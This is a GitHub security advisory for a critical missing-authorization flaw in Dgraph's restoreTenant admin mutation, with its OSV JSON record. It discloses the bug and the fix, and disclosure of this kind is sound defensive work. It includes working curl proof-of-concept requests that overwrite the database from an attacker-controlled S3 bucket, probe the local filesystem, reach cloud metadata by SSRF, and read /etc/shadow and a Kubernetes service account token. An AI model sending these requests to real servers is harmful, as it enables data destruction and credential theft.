GHSA-P5RH-VMHP-GVCW
Vulnerability from github – Published: 2026-04-02 20:44 – Updated: 2026-04-06 23:26The restoreTenant admin mutation is missing from the authorization middleware config (admin.go:499-522), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware.
This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.
Authentication Bypass
Every admin mutation has middleware configured in adminMutationMWConfig (admin.go:499-522) EXCEPT restoreTenant. The restore mutation has gogMutMWs (Guardian of Galaxy auth + IP whitelist + logging). restoreTenant is absent from the map.
When middleware is looked up at resolve/resolver.go:431, the map returns nil. The Then() method at resolve/middlewares.go:98 checks len(mws) == 0 and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.
PoC 1: Pre-Auth Database Overwrite
The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:
# No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }"
}'
# Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}
# The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).
The resolver at admin/restore.go:54-74 passes location, accessKey, secretKey directly to worker.ProcessRestoreRequest. The worker at online_restore.go:98-106 connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.
Note: the anonymous: true flag (minioclient.go:108-113) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a public S3 bucket without providing any AWS keys:
mutation { restoreTenant(input: {
restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true },
fromNamespace: 0
}) { code message } }
Live PoC Results (Dgraph v24.x Docker)
Tested against dgraph/dgraph:latest in Docker. Side-by-side comparison:
# restore (HAS middleware) -> BLOCKED
$ curl ... '{"query": "mutation { restore(...) { code } }"}'
{"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]}
# restoreTenant (MISSING middleware) -> AUTH BYPASSED
$ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}'
{"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]}
The restore mutation is blocked by the IP whitelist middleware. The restoreTenant mutation bypasses all middleware and reaches the backup verification logic.
Filesystem enumeration also confirmed with distinct error messages:
- /etc/ (exists): "No backups with the specified backup ID" (directory scanned)
- /nonexistent/ (doesn't exist): "The uri path doesn't exists" (path doesn't exist)
- /tmp/ (exists, empty): "No backups with the specified backup ID" (directory scanned)
PoC 2: Local Filesystem Probe via file:// Scheme
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }"
}'
# Error response reveals whether /etc/ exists and its structure.
# backup_handler.go:130-132 creates a fileHandler for file:// URIs.
# fileHandler.ListPaths at line 161-166 walks the local filesystem.
# fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))
PoC 3: SSRF via S3 Endpoint
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }"
}'
# The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.
# Error response may leak cloud metadata information.
PoC 4: Vault SSRF + Server File Path Read
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", accessKey: \"AKIA...\", secretKey: \"...\", vaultAddr: \"http://internal-service:8080\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", vaultSecretIDFile: \"/etc/passwd\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }"
}'
# vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080
# vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk
# encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag
Fix
Add restoreTenant to adminMutationMWConfig:
"restoreTenant": gogMutMWs,
Koda Reef
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 25.3.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/dgraph-io/dgraph/v25"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "25.3.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/dgraph-io/dgraph/v24"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "24.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/dgraph-io/dgraph"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34976"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-02T20:44:36Z",
"nvd_published_at": "2026-04-06T17:17:11Z",
"severity": "CRITICAL"
},
"details": "The `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware.\n\nThis mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.\n\n## Authentication Bypass\n\nEvery admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map.\n\nWhen middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.\n\n## PoC 1: Pre-Auth Database Overwrite\n\nThe attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace\u0027s entire database:\n\n # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/evil-backup\\\", accessKey: \\\"AKIAIOSFODNN7EXAMPLE\\\", secretKey: \\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\", anonymous: false }, fromNamespace: 0 }) { code message } }\"\n }\u0027\n\n # Response: {\"data\":{\"restoreTenant\":{\"code\":\"Success\",\"message\":\"Restore operation started.\"}}}\n # The server fetches the attacker\u0027s backup from S3 and overwrites namespace 0 (root namespace).\n\nThe resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker\u0027s S3 bucket and restores the malicious backup, overwriting all data.\n\nNote: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a **public S3 bucket** without providing any AWS keys:\n\n mutation { restoreTenant(input: {\n restoreInput: { location: \"s3://public-attacker-bucket/evil-backup\", anonymous: true },\n fromNamespace: 0\n }) { code message } }\n\n## Live PoC Results (Dgraph v24.x Docker)\n\nTested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison:\n\n # restore (HAS middleware) -\u003e BLOCKED\n $ curl ... \u0027{\"query\": \"mutation { restore(...) { code } }\"}\u0027\n {\"errors\":[{\"message\":\"resolving restore failed because unauthorized ip address: 172.25.0.1\"}]}\n\n # restoreTenant (MISSING middleware) -\u003e AUTH BYPASSED\n $ curl ... \u0027{\"query\": \"mutation { restoreTenant(...) { code } }\"}\u0027\n {\"errors\":[{\"message\":\"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID\"}]}\n\nThe `restore` mutation is blocked by the IP whitelist middleware. The `restoreTenant` mutation bypasses all middleware and reaches the backup verification logic.\n\nFilesystem enumeration also confirmed with distinct error messages:\n- `/etc/` (exists): \"No backups with the specified backup ID\" (directory scanned)\n- `/nonexistent/` (doesn\u0027t exist): \"The uri path doesn\u0027t exists\" (path doesn\u0027t exist)\n- `/tmp/` (exists, empty): \"No backups with the specified backup ID\" (directory scanned)\n\n## PoC 2: Local Filesystem Probe via file:// Scheme\n\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"file:///etc/\\\" }, fromNamespace: 0 }) { code message } }\"\n }\u0027\n\n # Error response reveals whether /etc/ exists and its structure.\n # backup_handler.go:130-132 creates a fileHandler for file:// URIs.\n # fileHandler.ListPaths at line 161-166 walks the local filesystem.\n # fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))\n\n## PoC 3: SSRF via S3 Endpoint\n\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://169.254.169.254/latest/meta-data/\\\" }, fromNamespace: 0 }) { code message } }\"\n }\u0027\n\n # The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.\n # Error response may leak cloud metadata information.\n\n## PoC 4: Vault SSRF + Server File Path Read\n\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/backup\\\", accessKey: \\\"AKIA...\\\", secretKey: \\\"...\\\", vaultAddr: \\\"http://internal-service:8080\\\", vaultRoleIDFile: \\\"/var/run/secrets/kubernetes.io/serviceaccount/token\\\", vaultSecretIDFile: \\\"/etc/passwd\\\", encryptionKeyFile: \\\"/etc/shadow\\\" }, fromNamespace: 0 }) { code message } }\"\n }\u0027\n\n # vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080\n # vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk\n # encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag\n\n## Fix\n\nAdd `restoreTenant` to `adminMutationMWConfig`:\n\n \"restoreTenant\": gogMutMWs,\n\nKoda Reef",
"id": "GHSA-p5rh-vmhp-gvcw",
"modified": "2026-04-06T23:26:01Z",
"published": "2026-04-02T20:44:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34976"
},
{
"type": "WEB",
"url": "https://github.com/dgraph-io/dgraph/commit/b15c87e9353e36618bf8e0df3bd945c0ce7105ef"
},
{
"type": "PACKAGE",
"url": "https://github.com/dgraph-io/dgraph"
},
{
"type": "WEB",
"url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.